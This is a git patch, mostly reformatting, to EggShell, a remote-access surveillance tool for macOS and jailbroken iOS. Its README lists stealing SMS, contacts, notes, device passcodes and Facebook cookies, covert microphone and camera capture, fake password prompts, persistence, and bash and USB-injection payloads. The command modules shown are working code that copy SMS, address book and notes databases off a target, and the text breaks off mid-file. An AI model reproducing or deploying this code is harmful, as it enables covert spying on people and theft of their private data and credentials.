From 745825a90817fde7cfee82c70dea5ac4efe6be8d Mon Sep 17 00:00:00 2001 From: Aidan Holland Date: Mon, 11 Feb 2019 22:34:33 -0500 Subject: [PATCH] updates --- README.md | 181 ++++--- eggshell.py | 61 ++- modules/commands/iOS/alert_ios.py | 6 +- modules/commands/iOS/battery_ios.py | 6 +- modules/commands/iOS/bundleids_ios.py | 6 +- modules/commands/iOS/dhome_ios.py | 8 +- modules/commands/iOS/dial_ios.py | 13 +- modules/commands/iOS/getcontacts_ios.py | 31 +- modules/commands/iOS/getnotes_ios.py | 30 +- modules/commands/iOS/getpasscode_ios.py | 6 +- modules/commands/iOS/getsms_ios.py | 30 +- modules/commands/iOS/getvol_ios.py | 6 +- modules/commands/iOS/home_ios.py | 6 +- modules/commands/iOS/installpro_ios.py | 22 +- modules/commands/iOS/ipod_ios.py | 10 +- modules/commands/iOS/islocked_ios.py | 6 +- modules/commands/iOS/lastapp_ios.py | 6 +- modules/commands/iOS/locate_ios.py | 6 +- modules/commands/iOS/locationservice_ios.py | 20 +- modules/commands/iOS/lock_ios.py | 6 +- modules/commands/iOS/mic_ios.py | 18 +- modules/commands/iOS/mute_ios.py | 22 +- modules/commands/iOS/open_ios.py | 10 +- modules/commands/iOS/openurl_ios.py | 16 +- modules/commands/iOS/picture_ios.py | 70 +-- modules/commands/iOS/respring_ios.py | 10 +- modules/commands/iOS/safemode_ios.py | 8 +- modules/commands/iOS/say_ios.py | 8 +- modules/commands/iOS/setvol.py | 10 +- modules/commands/iOS/setvol_ios.py | 10 +- modules/commands/iOS/sysinfo_ios.py | 12 +- modules/commands/iOS/vibrate_ios.py | 10 +- modules/commands/local/clear.py | 6 +- modules/commands/local/local.py | 10 +- modules/commands/macOS/brightness_macos.py | 6 +- modules/commands/macOS/getfacebook.py | 4 +- modules/commands/macOS/getfacebook_macos.py | 4 +- modules/commands/macOS/getpaste_macos.py | 4 +- modules/commands/macOS/getvol_macos.py | 10 +- modules/commands/macOS/idletime_macos.py | 4 +- modules/commands/macOS/imessage_macos.py | 18 +- modules/commands/macOS/itunes_macos.py | 30 +- modules/commands/macOS/keyboard_macos.py | 21 +- modules/commands/macOS/lazagne_macos.py | 19 +- modules/commands/macOS/mic_macos.py | 18 +- modules/commands/macOS/picture_macos.py | 42 +- modules/commands/macOS/prompt_macos.py | 28 +- modules/commands/macOS/screenshot_macos.py | 34 +- modules/commands/macOS/setvol.py | 12 +- modules/commands/macOS/setvol_macos.py | 12 +- modules/commands/macOS/sleep_macos.py | 8 +- modules/commands/macOS/su_macos.py | 10 +- modules/commands/macOS/suspend_macos.py | 8 +- modules/commands/universal/cd_universal.py | 15 +- .../commands/universal/download_universal.py | 40 +- modules/commands/universal/ls_universal.py | 12 +- .../commands/universal/persistence_macos.py | 7 +- modules/commands/universal/pid_universal.py | 4 +- modules/commands/universal/pwd_universal.py | 6 +- .../commands/universal/upload_universal.py | 19 +- modules/helper.py | 43 +- modules/multihandler.py | 295 ++++++----- modules/payloads/bash_payload.py | 19 +- modules/payloads/teensy_payload.py | 64 +-- modules/server.py | 116 ++--- modules/session.py | 457 +++++++++--------- resources/espl.py | 274 ++++++----- resources/lazagne_macos.zip | Bin 44027 -> 46483 bytes src/esplios/NSTask.h | 5 +- src/esplios/bootstrap.h | 24 +- src/esplios/espl.m | 32 +- src/esplios/main.mm | 16 +- .../xcshareddata/IDEWorkspaceChecks.plist | 8 + .../xcdebugger/Breakpoints_v2.xcbkptlist | 5 - .../xcschemes/esplmacos.xcscheme | 91 ---- .../xcschemes/xcschememanagement.plist | 22 - .../xcdebugger/Breakpoints_v2.xcbkptlist | 5 - .../xcschemes/esplmacos.xcscheme | 91 ---- .../xcschemes/xcschememanagement.plist | 22 - src/esplmacos/esplmacos/espl.m | 68 +-- src/esplmacos/esplmacos/main.m | 8 +- src/espro/Tweak.xm | 15 +- src/espro/bootstrap.h | 24 +- src/espro/header.h | 2 - 84 files changed, 1300 insertions(+), 1487 deletions(-) create mode 100644 src/esplmacos/esplmacos.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist delete mode 100644 src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist delete mode 100644 src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/esplmacos.xcscheme delete mode 100644 src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/xcschememanagement.plist delete mode 100644 src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist delete mode 100644 src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/esplmacos.xcscheme delete mode 100644 src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/xcschememanagement.plist diff --git a/README.md b/README.md index eab1c2a..7d39c4b 100644 --- a/README.md +++ b/README.md @@ -1,34 +1,33 @@ # [EggShell](http://lucasjackson.io/eggshell) - - ## About EggShell is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. This is project is a proof of concept, intended for use on machines you own. Main menu -For detailed information and how-to visit http://lucasjackson.io/eggshell +For detailed information and how-to visit Follow me on twitter: @neoneggplant
- ## New In Version 3.0.0 - - More secure socket connection using SSL - - Linux support - - Tab completion - - Improved over all structure and efficiency of session handling - - Native iOS python support for 64 bit devices -
+- More secure socket connection using SSL +- Linux support +- Tab completion +- Improved over all structure and efficiency of session handling +- Native iOS python support for 64 bit devices +
## Getting Started -- Requires python 2.7 + +- Requires python 2.7 ### macOS/Linux Installation + ```sh git clone https://github.com/neoneggplant/eggshell cd eggshell @@ -36,7 +35,8 @@ python eggshell.py ``` ### iOS (Jailbroken) -Add Cydia source: http://lucasjackson.io/repo + +Add Cydia source: Install EggShell 3 Use any mobile terminal application and run the command eggshell @@ -44,17 +44,18 @@ Use any mobile terminal application and run the command eggshell
- - ## Creating Payloads + Eggshell payloads are executed on the target machine. The payload first sends over instructions for getting and sending back device details to our server and then chooses the appropriate executable to establish a secure remote control session. ### bash + Selecting bash from the payload menu will give us a 1 liner that establishes an eggshell session upon execution on the target machine Bash payload ### teensy macOS (USB injection) + Teensy is a USB development board that can be programmed with the Arduino ide. It emulates usb keyboard strokes extremely fast and can inject the EggShell payload just in a few seconds. Teensy macOS payload @@ -69,9 +70,8 @@ After uploading to the teensy, we can use the device to plug into a macOS usb po
- - ## Interacting with a session + Session interaction After a session is established, we can execute commands on that device through the EggShell command line interface. @@ -79,24 +79,22 @@ We can show all the available commands by typing "help" Command help - ## Taking Pictures + Session interaction Both iOS and macOS payloads have picture taking capability. The picture command lets you take a picture from the iSight on macOS as well as the front or back camera on iOS. - - ### Tab Completion + Similar to most command line interfaces, EggShell supports tab completion. When you start typing the path to a directory or filename, we can complete the rest of the path using the tab key. Tab completion
- - ## Multihandler + The Multihandler option lets us handle multiple sessions. We can choose to interact with different devices while listening for new connections in the background. Drawing @@ -107,99 +105,96 @@ Similar to the session interface, we can type "help" to show Multihandler comman
- - ## Featured + Featured in EverythingApplePro's video demonstrating an iOS 9.3.3 Webkit vulnerability used to run EggShell [![EverythingApplePro](http://lucasjackson.io/images/eggshell/featureeep.png)](https://www.youtube.com/embed/iko0bCVW-zk?start=209)
- ## Special Thanks -- Linus Yang / Ryley Angus for the iOS Python package -- AlessandroZ for LaZagne +- Linus Yang / Ryley Angus for the iOS Python package +- AlessandroZ for LaZagne ## DISCLAMER -By using EggShell, you agree to the GNU General Public License v2.0 included in the repository. For more details at http://www.gnu.org/licenses/gpl-2.0.html. Using EggShell for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. - -
+By using EggShell, you agree to the GNU General Public License v2.0 included in the repository. For more details at . Using EggShell for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. +
## Commands #### macOS -* **brightness** : adjust screen brightness -* **cd** : change directory -* **download** : download file -* **getfacebook** : retrieve facebook session cookies -* **getpaste** : get pasteboard contents -* **getvol** : get speaker output volume -* **idletime** : get the amount of time since the keyboard/cursor were touched -* **imessage** : send message through the messages app -* **itunes** : iTunes Controller -* **keyboard** : your keyboard -> is target's keyboard -* **lazagne** : firefox password retrieval | (https://github.com/AlessandroZ/LaZagne/wiki) -* **ls** : list contents of a directory -* **mic** : record mic -* **persistence** : attempts to re establish connection after close -* **picture** : take picture through iSight -* **pid** : get process id -* **prompt** : prompt user to type password -* **screenshot** : take screenshot -* **setvol** : set output volume -* **sleep** : put device into sleep mode -* **su** : su login -* **suspend** : suspend current session (goes back to login screen) -* **upload** : upload file +- **brightness** : adjust screen brightness +- **cd** : change directory +- **download** : download file +- **getfacebook** : retrieve facebook session cookies +- **getpaste** : get pasteboard contents +- **getvol** : get speaker output volume +- **idletime** : get the amount of time since the keyboard/cursor were touched +- **imessage** : send message through the messages app +- **itunes** : iTunes Controller +- **keyboard** : your keyboard -> is target's keyboard +- **lazagne** : firefox password retrieval | () +- **ls** : list contents of a directory +- **mic** : record mic +- **persistence** : attempts to re establish connection after close +- **picture** : take picture through iSight +- **pid** : get process id +- **prompt** : prompt user to type password +- **screenshot** : take screenshot +- **setvol** : set output volume +- **sleep** : put device into sleep mode +- **su** : su login +- **suspend** : suspend current session (goes back to login screen) +- **upload** : upload file #### iOS -* **alert** : make alert show up on device -* **battery** : get battery level -* **bundleids** : list bundle identifiers -* **cd** : change directory -* **dhome** : simulate a double home button press -* **dial** : dial a phone number -* **download** : download file -* **getcontacts** : download addressbook -* **getnotes** : download notes -* **getpasscode** : retreive the device passcode -* **getsms** : download SMS -* **getvol** : get volume level -* **home** : simulate a home button press -* **installpro** : install substrate commands -* **ipod** : control music player -* **islocked** : check if the device is locked -* **lastapp** : get last opened application -* **locate** : get device location coordinates -* **locationservice**: toggle location services -* **lock** : simulate a lock button press -* **ls** : list contents of a directory -* **mic** : record mic -* **mute** : update and view mute status -* **open** : open apps -* **openurl** : open url on device -* **persistence** : attempts to re establish connection after close -* **picture** : take picture through the front or back camera -* **pid** : get process id -* **respring** : restart springboard -* **safemode** : put device into safe mode -* **say** : text to speach -* **setvol** : set device volume -* **sysinfo** : view system information -* **upload** : upload file -* **vibrate** : vibrate device +- **alert** : make alert show up on device +- **battery** : get battery level +- **bundleids** : list bundle identifiers +- **cd** : change directory +- **dhome** : simulate a double home button press +- **dial** : dial a phone number +- **download** : download file +- **getcontacts** : download addressbook +- **getnotes** : download notes +- **getpasscode** : retreive the device passcode +- **getsms** : download SMS +- **getvol** : get volume level +- **home** : simulate a home button press +- **installpro** : install substrate commands +- **ipod** : control music player +- **islocked** : check if the device is locked +- **lastapp** : get last opened application +- **locate** : get device location coordinates +- **locationservice**: toggle location services +- **lock** : simulate a lock button press +- **ls** : list contents of a directory +- **mic** : record mic +- **mute** : update and view mute status +- **open** : open apps +- **openurl** : open url on device +- **persistence** : attempts to re establish connection after close +- **picture** : take picture through the front or back camera +- **pid** : get process id +- **respring** : restart springboard +- **safemode** : put device into safe mode +- **say** : text to speach +- **setvol** : set device volume +- **sysinfo** : view system information +- **upload** : upload file +- **vibrate** : vibrate device #### Linux -* **cd** : change directory -* **download** : download file -* **ls** : list contents of a directory -* **pid** : get process id -* **pwd** : show current directory -* **upload** : upload file +- **cd** : change directory +- **download** : download file +- **ls** : list contents of a directory +- **pid** : get process id +- **pwd** : show current directory +- **upload** : upload file diff --git a/eggshell.py b/eggshell.py index d263d93..45b7827 100755 --- a/eggshell.py +++ b/eggshell.py @@ -1,10 +1,12 @@ #!/usr/bin/python -from modules import server +import os +import sys + from modules import helper as h -import sys, os +from modules import server -#banner +# banner class EggShell: def __init__(self): h.generate_keys() @@ -13,68 +15,63 @@ def __init__(self): self.server.debug = True else: self.server.debug = False - self.payloads = self.import_payloads() - self.banner_text = h.GREEN+""" + self.payloads = self.import_payloads() + self.banner_text = h.GREEN + """ .---. .-. . . . \\ `. | ( )| | | o \\ `. |--- .-.. .-.. `-. |--. .-. | | \\ `. | ( |( |( )| |(.-' | | o \\ .` '---'`-`| `-`| `-' ' `-`--'`-`- \\ .` - ._.' ._.' `"""+h.COLOR_INFO+""" + ._.' ._.' `""" + h.COLOR_INFO + """ .". / | / / / ," .-------.--- / - "._ __.-/ o. o\ + "._ __.-/ o. o\ " ( Y ) ) / / ( / I .-" | - / _ \ \ + / _ \ \ / `. ". ) /' ) Y )( / /(,/ ,| / ) ( | / / - " \_ (__ (__ + " \_ (__ (__ "-._,)--._,) -"""+h.WHITE+"\nVersion: 3.1.1\nCreated By Lucas Jackson (@neoneggplant)\n"+h.ENDC - self.main_menu_text = h.WHITE+"-"*40+"\n"+"""Menu:\n +""" + h.WHITE + "\nVersion: 3.1.1\nCreated By Lucas Jackson (@neoneggplant)\n" + h.ENDC + self.main_menu_text = h.WHITE + "-" * 40 + "\n" + """Menu:\n 1): Start Server 2): Start MultiHandler 3): Create Payload 4): Exit -""" + "\n"+h.NES - +""" + "\n" + h.NES # Actions - def print_payload(self,payload,number_option): + def print_payload(self, payload, number_option): print " " * 4 + str(number_option) + "): " + payload.name - def start_single_server(self): if not self.server.set_host_port(): return self.server.start_single_handler() - def start_multi_handler(self): if not self.server.set_host_port(): return self.server.start_multi_handler() - def prompt_run_server(self): - if raw_input(h.NES+"Start Server? (Y/n): ") == "n": + if raw_input(h.NES + "Start Server? (Y/n): ") == "n": return else: - if raw_input(h.NES+"MultiHandler? (y/N): ") == "y": + if raw_input(h.NES + "MultiHandler? (y/N): ") == "y": self.server.start_multi_handler() else: self.server.start_single_handler() - def import_payloads(self): path = "modules/payloads" sys.path.append(path) @@ -87,18 +84,16 @@ def import_payloads(self): modules[m.name] = m return modules - def exit_menu(self): exit() - def choose_payload(self): - print h.WHITE+"-"*40+h.ENDC + print h.WHITE + "-" * 40 + h.ENDC print "Payloads:\n" number_option = 1 for key in self.payloads: payload = self.payloads[key] - self.print_payload(payload,number_option) + self.print_payload(payload, number_option) number_option += 1 print "" while 1: @@ -106,13 +101,14 @@ def choose_payload(self): # choose payload option = raw_input(h.info_general_raw("Choose an payload> ")) if not option: - continue - selected_payload = self.payloads[self.payloads.keys()[int(option) - 1]] + continue + selected_payload = self.payloads[self.payloads.keys()[ + int(option) - 1]] # set host and port self.server.set_host_port() # generate payload selected_payload.run(self.server) - #run + # run self.prompt_run_server() break except KeyboardInterrupt: @@ -121,8 +117,7 @@ def choose_payload(self): print e break - - def menu(self,err=""): + def menu(self, err=""): while 1: try: h.clear() @@ -133,10 +128,10 @@ def menu(self,err=""): sys.stdout.write(self.banner_text) option = raw_input(self.main_menu_text) choose = { - "1" : self.start_single_server, - "2" : self.start_multi_handler, - "3" : self.choose_payload, - "4" : self.exit_menu + "1": self.start_single_server, + "2": self.start_multi_handler, + "3": self.choose_payload, + "4": self.exit_menu } try: choose[option]() diff --git a/modules/commands/iOS/alert_ios.py b/modules/commands/iOS/alert_ios.py index 5297257..172bcb3 100644 --- a/modules/commands/iOS/alert_ios.py +++ b/modules/commands/iOS/alert_ios.py @@ -1,14 +1,16 @@ import base64 import json + class command: def __init__(self): self.name = "alert" self.description = "make alert show up on device" self.type = "native" - def run(self,session,cmd_data): + def run(self, session, cmd_data): title = raw_input("title: ") message = raw_input("message: ") - session.send_command({"cmd":"alert","args":json.dumps({"title":title,"message":message})}) + session.send_command({"cmd": "alert", "args": json.dumps( + {"title": title, "message": message})}) return "" diff --git a/modules/commands/iOS/battery_ios.py b/modules/commands/iOS/battery_ios.py index 04a4b05..75d89be 100644 --- a/modules/commands/iOS/battery_ios.py +++ b/modules/commands/iOS/battery_ios.py @@ -2,6 +2,6 @@ class command: def __init__(self): self.name = "battery" self.description = "get battery level" - - def run(self,session,cmd_data): - print session.send_command(cmd_data) + + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/iOS/bundleids_ios.py b/modules/commands/iOS/bundleids_ios.py index 8fd92e0..de111d0 100644 --- a/modules/commands/iOS/bundleids_ios.py +++ b/modules/commands/iOS/bundleids_ios.py @@ -2,6 +2,6 @@ class command: def __init__(self): self.name = "bundleids" self.description = "list bundle identifiers" - - def run(self,session,cmd_data): - print session.send_command(cmd_data).rstrip() + + def run(self, session, cmd_data): + print(session.send_command(cmd_data).rstrip()) diff --git a/modules/commands/iOS/dhome_ios.py b/modules/commands/iOS/dhome_ios.py index 1191c2a..e3f9cc6 100644 --- a/modules/commands/iOS/dhome_ios.py +++ b/modules/commands/iOS/dhome_ios.py @@ -2,9 +2,9 @@ class command: def __init__(self): self.name = "dhome" self.description = "simulate a double home button press" - - def run(self,session,cmd_data): - cmd_data["cmd"] = "doublehome" + + def run(self, session, cmd_data): + cmd_data["cmd"] = "doublehome" error = session.send_command(cmd_data) if error: - print error \ No newline at end of file + print(error) diff --git a/modules/commands/iOS/dial_ios.py b/modules/commands/iOS/dial_ios.py index 6b5701f..5dac611 100644 --- a/modules/commands/iOS/dial_ios.py +++ b/modules/commands/iOS/dial_ios.py @@ -3,10 +3,11 @@ def __init__(self): self.name = "dial" self.description = "dial a phone number" self.usage = "Usage: dial 1234567890" - - def run(self,session,cmd_data): - if not cmd_data['args']: - print self.usage - return - cmd_data.update({"cmd":"openurl","args":"tel://"+cmd_data['args']}) + + def run(self, session, cmd_data): + if not cmd_data['args']: + print(self.usage) + return + cmd_data.update( + {"cmd": "openurl", "args": "tel://" + cmd_data['args']}) session.send_command(cmd_data) diff --git a/modules/commands/iOS/getcontacts_ios.py b/modules/commands/iOS/getcontacts_ios.py index 7f655a0..9e31f24 100644 --- a/modules/commands/iOS/getcontacts_ios.py +++ b/modules/commands/iOS/getcontacts_ios.py @@ -1,20 +1,23 @@ import json import os + import modules.helper as h + class command: - def __init__(self): - self.name = "getcontacts" - self.description = "download addressbook" + def __init__(self): + self.name = "getcontacts" + self.description = "download addressbook" - def run(self,session,cmd_data): - file_name = "AddressBook.sqlitedb" - h.info_general("Downloading {0}".format(file_name)) - data = session.download_file('/var/mobile/Library/AddressBook/'+file_name) - if data: - # save to downloads - h.info_general("Saving {0}".format(file_name)) - f = open(os.path.join('downloads',file_name),'w') - f.write(data) - f.close() - h.info_general("Saved to ./downloads/{0}".format(file_name)) + def run(self, session, cmd_data): + file_name = "AddressBook.sqlitedb" + h.info_general("Downloading {0}".format(file_name)) + data = session.download_file( + '/var/mobile/Library/AddressBook/' + file_name) + if data: + # save to downloads + h.info_general("Saving {0}".format(file_name)) + f = open(os.path.join('downloads', file_name), 'w') + f.write(data) + f.close() + h.info_general("Saved to ./downloads/{0}".format(file_name)) diff --git a/modules/commands/iOS/getnotes_ios.py b/modules/commands/iOS/getnotes_ios.py index 7ddab44..fd9f851 100644 --- a/modules/commands/iOS/getnotes_ios.py +++ b/modules/commands/iOS/getnotes_ios.py @@ -1,20 +1,22 @@ import json import os + import modules.helper as h + class command: - def __init__(self): - self.name = "getnotes" - self.description = "download notes" + def __init__(self): + self.name = "getnotes" + self.description = "download notes" - def run(self,session,cmd_data): - file_name = "notes.sqlite" - h.info_general("Downloading {0}".format(file_name)) - data = session.download_file('/var/mobile/Library/Notes/'+file_name) - if data: - # save to downloads - h.info_general("Saving {0}".format(file_name)) - f = open(os.path.join('downloads',file_name),'w') - f.write(data) - f.close() - h.info_general("Saved to ./downloads/{0}".format(file_name)) + def run(self, session, cmd_data): + file_name = "notes.sqlite" + h.info_general("Downloading {0}".format(file_name)) + data = session.download_file('/var/mobile/Library/Notes/' + file_name) + if data: + # save to downloads + h.info_general("Saving {0}".format(file_name)) + f = open(os.path.join('downloads', file_name), 'w') + f.write(data) + f.close() + h.info_general("Saved to ./downloads/{0}".format(file_name)) diff --git a/modules/commands/iOS/getpasscode_ios.py b/modules/commands/iOS/getpasscode_ios.py index cc19d5c..7ee9c1a 100644 --- a/modules/commands/iOS/getpasscode_ios.py +++ b/modules/commands/iOS/getpasscode_ios.py @@ -2,8 +2,8 @@ class command: def __init__(self): self.name = "getpasscode" self.description = "retreive the device passcode" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): error = session.send_command(cmd_data) if error: - print error \ No newline at end of file + print(error) diff --git a/modules/commands/iOS/getsms_ios.py b/modules/commands/iOS/getsms_ios.py index 1762f32..cf65cf0 100644 --- a/modules/commands/iOS/getsms_ios.py +++ b/modules/commands/iOS/getsms_ios.py @@ -1,20 +1,22 @@ import json import os + import modules.helper as h + class command: - def __init__(self): - self.name = "getsms" - self.description = "download SMS" + def __init__(self): + self.name = "getsms" + self.description = "download SMS" - def run(self,session,cmd_data): - file_name = "sms.db" - h.info_general("Downloading {0}".format(file_name)) - data = session.download_file('/var/mobile/Library/SMS/'+file_name) - if data: - # save to downloads - h.info_general("Saving {0}".format(file_name)) - f = open(os.path.join('downloads',file_name),'w') - f.write(data) - f.close() - h.info_general("Saved to ./downloads/{0}".format(file_name)) + def run(self, session, cmd_data): + file_name = "sms.db" + h.info_general("Downloading {0}".format(file_name)) + data = session.download_file('/var/mobile/Library/SMS/' + file_name) + if data: + # save to downloads + h.info_general("Saving {0}".format(file_name)) + f = open(os.path.join('downloads', file_name), 'w') + f.write(data) + f.close() + h.info_general("Saved to ./downloads/{0}".format(file_name)) diff --git a/modules/commands/iOS/getvol_ios.py b/modules/commands/iOS/getvol_ios.py index ce2a270..4bcde3f 100644 --- a/modules/commands/iOS/getvol_ios.py +++ b/modules/commands/iOS/getvol_ios.py @@ -2,6 +2,6 @@ class command: def __init__(self): self.name = "getvol" self.description = "get volume level" - - def run(self,session,cmd_data): - print session.send_command(cmd_data) + + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/iOS/home_ios.py b/modules/commands/iOS/home_ios.py index 7ec9ebd..f31a4a8 100644 --- a/modules/commands/iOS/home_ios.py +++ b/modules/commands/iOS/home_ios.py @@ -2,8 +2,8 @@ class command: def __init__(self): self.name = "home" self.description = "simulate a home button press" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): error = session.send_command(cmd_data) if error: - print error \ No newline at end of file + print(error) diff --git a/modules/commands/iOS/installpro_ios.py b/modules/commands/iOS/installpro_ios.py index 8fae313..1af79b4 100644 --- a/modules/commands/iOS/installpro_ios.py +++ b/modules/commands/iOS/installpro_ios.py @@ -1,16 +1,22 @@ +import os +import re +import time + import modules.helper as h -import re, os, time + class command: def __init__(self): self.name = "installpro" self.description = "install substrate commands" - - def run(self,session,cmd_data): - h.info_general("Uploading dylib 1/2...") - session.upload_file("resources/espro.dylib","/Library/MobileSubstrate/DynamicLibraries",".espl.dylib") - h.info_general("Uploading plist 2/2...") - session.upload_file("resources/espro.plist","/Library/MobileSubstrate/DynamicLibraries",".espl.plist") + + def run(self, session, cmd_data): + h.info_general("Uploading dylib 1/2...") + session.upload_file("resources/espro.dylib", + "/Library/MobileSubstrate/DynamicLibraries", ".espl.dylib") + h.info_general("Uploading plist 2/2...") + session.upload_file("resources/espro.plist", + "/Library/MobileSubstrate/DynamicLibraries", ".espl.plist") h.info_general("Respring...") time.sleep(1) - session.send_command({"cmd":"killall","args":"SpringBoard"}) + session.send_command({"cmd": "killall", "args": "SpringBoard"}) diff --git a/modules/commands/iOS/ipod_ios.py b/modules/commands/iOS/ipod_ios.py index 5e30562..666d597 100644 --- a/modules/commands/iOS/ipod_ios.py +++ b/modules/commands/iOS/ipod_ios.py @@ -3,10 +3,10 @@ def __init__(self): self.name = "ipod" self.description = "control music player" self.usage = "Usage: ipod play|pause|next|prev|info" - - def run(self,session,cmd_data): - if not cmd_data['args'] or not cmd_data['args'] in ['play','pause','next','prev','info']: - print self.usage + + def run(self, session, cmd_data): + if not cmd_data['args'] or not cmd_data['args'] in ['play', 'pause', 'next', 'prev', 'info']: + print(self.usage) result = session.send_command(cmd_data) if result: - print result.rstrip() \ No newline at end of file + print(result.rstrip()) diff --git a/modules/commands/iOS/islocked_ios.py b/modules/commands/iOS/islocked_ios.py index 756dba4..fa6006a 100644 --- a/modules/commands/iOS/islocked_ios.py +++ b/modules/commands/iOS/islocked_ios.py @@ -2,6 +2,6 @@ class command: def __init__(self): self.name = "islocked" self.description = "check if the device is locked" - - def run(self,session,cmd_data): - print session.send_command(cmd_data) + + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/iOS/lastapp_ios.py b/modules/commands/iOS/lastapp_ios.py index 09dd322..48cf245 100644 --- a/modules/commands/iOS/lastapp_ios.py +++ b/modules/commands/iOS/lastapp_ios.py @@ -2,6 +2,6 @@ class command: def __init__(self): self.name = "lastapp" self.description = "get last opened application" - - def run(self,session,cmd_data): - print session.send_command(cmd_data) + + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/iOS/locate_ios.py b/modules/commands/iOS/locate_ios.py index b23a7ec..6130eee 100644 --- a/modules/commands/iOS/locate_ios.py +++ b/modules/commands/iOS/locate_ios.py @@ -2,6 +2,6 @@ class command: def __init__(self): self.name = "locate" self.description = "get device location coordinates" - - def run(self,session,cmd_data): - print session.send_command(cmd_data) + + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/iOS/locationservice_ios.py b/modules/commands/iOS/locationservice_ios.py index 659e9cb..3116867 100644 --- a/modules/commands/iOS/locationservice_ios.py +++ b/modules/commands/iOS/locationservice_ios.py @@ -3,15 +3,15 @@ def __init__(self): self.name = "locationservice" self.description = "toggle location services" self.usage = "Usage: locationservice on|off" - - def run(self,session,cmd_data): - if not cmd_data['args'] or not cmd_data['args'] in ['on','off']: - print self.usage - return - if cmd_data['args'] == "on": - cmd_data = {'cmd':'locationon','args':''} - elif cmd_data['args'] == "off": - cmd_data = {'cmd':'locationoff','args':''} + + def run(self, session, cmd_data): + if not cmd_data['args'] or not cmd_data['args'] in ['on', 'off']: + print(self.usage) + return + if cmd_data['args'] == "on": + cmd_data = {'cmd': 'locationon', 'args': ''} + elif cmd_data['args'] == "off": + cmd_data = {'cmd': 'locationoff', 'args': ''} error = session.send_command(cmd_data) if error: - print error \ No newline at end of file + print(error) diff --git a/modules/commands/iOS/lock_ios.py b/modules/commands/iOS/lock_ios.py index 2caa21c..93ba921 100644 --- a/modules/commands/iOS/lock_ios.py +++ b/modules/commands/iOS/lock_ios.py @@ -2,8 +2,8 @@ class command: def __init__(self): self.name = "lock" self.description = "simulate a lock button press" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): error = session.send_command(cmd_data) if error: - print error \ No newline at end of file + print(error) diff --git a/modules/commands/iOS/mic_ios.py b/modules/commands/iOS/mic_ios.py index 9d4f2f0..0e90fad 100644 --- a/modules/commands/iOS/mic_ios.py +++ b/modules/commands/iOS/mic_ios.py @@ -1,15 +1,17 @@ -import modules.helper as h import json -import time import os +import time + +import modules.helper as h + class command: def __init__(self): self.name = "mic" self.description = "record mic" - - def run(self,session,cmd_data): - # #print output + + def run(self, session, cmd_data): + # #print output if cmd_data["args"] == "stop": # expect json result = json.loads(session.send_command(cmd_data)) @@ -21,12 +23,12 @@ def run(self,session,cmd_data): # save to file file_name = "mic{0}.caf".format(str(int(time.time()))) h.info_general("Saving {0}".format(file_name)) - f = open(os.path.join('downloads',file_name),'w') + f = open(os.path.join('downloads', file_name), 'w') f.write(data) f.close() h.info_general("Saved to ./downloads/{0}".format(file_name)) - + elif cmd_data["args"] == "record": h.info_general(session.send_command(cmd_data)) else: - print "Usage: mic record/stop" + print("Usage: mic record/stop") diff --git a/modules/commands/iOS/mute_ios.py b/modules/commands/iOS/mute_ios.py index 0ad6e0f..d44d265 100644 --- a/modules/commands/iOS/mute_ios.py +++ b/modules/commands/iOS/mute_ios.py @@ -3,17 +3,17 @@ def __init__(self): self.name = "mute" self.description = "update and view mute status" self.usage = "Usage: mute status|on|off" - - def run(self,session,cmd_data): - if not cmd_data['args'] or not cmd_data['args'] in ['status','on','off']: - print self.usage - return - if cmd_data['args'] == "status": - cmd_data = {'cmd':'ismuted','args':''} - elif cmd_data['args'] == "off": - cmd_data = {'cmd':'unmute','args':''} + + def run(self, session, cmd_data): + if not cmd_data['args'] or not cmd_data['args'] in ['status', 'on', 'off']: + print(self.usage) + return + if cmd_data['args'] == "status": + cmd_data = {'cmd': 'ismuted', 'args': ''} + elif cmd_data['args'] == "off": + cmd_data = {'cmd': 'unmute', 'args': ''} elif cmd_data['args'] == "on": - cmd_data = {'cmd':'mute','args':''} + cmd_data = {'cmd': 'mute', 'args': ''} error = session.send_command(cmd_data) if error: - print error \ No newline at end of file + print(error) diff --git a/modules/commands/iOS/open_ios.py b/modules/commands/iOS/open_ios.py index 8083f97..9df4694 100644 --- a/modules/commands/iOS/open_ios.py +++ b/modules/commands/iOS/open_ios.py @@ -3,10 +3,10 @@ def __init__(self): self.name = "open" self.description = "open apps" self.usage = "Usage: open bundleid" - - def run(self,session,cmd_data): - if not cmd_data['args']: - print self.usage + + def run(self, session, cmd_data): + if not cmd_data['args']: + print(self.usage) result = session.send_command(cmd_data) if result: - print result \ No newline at end of file + print(result) diff --git a/modules/commands/iOS/openurl_ios.py b/modules/commands/iOS/openurl_ios.py index 2ac9216..8fc781a 100644 --- a/modules/commands/iOS/openurl_ios.py +++ b/modules/commands/iOS/openurl_ios.py @@ -4,11 +4,11 @@ def __init__(self): self.description = "open url on device" self.usage = "Usage: openurl http://example.com" - def run(self,session,cmd_data): - if not cmd_data['args']: - print self.usage - return - if not cmd_data['args']: - print 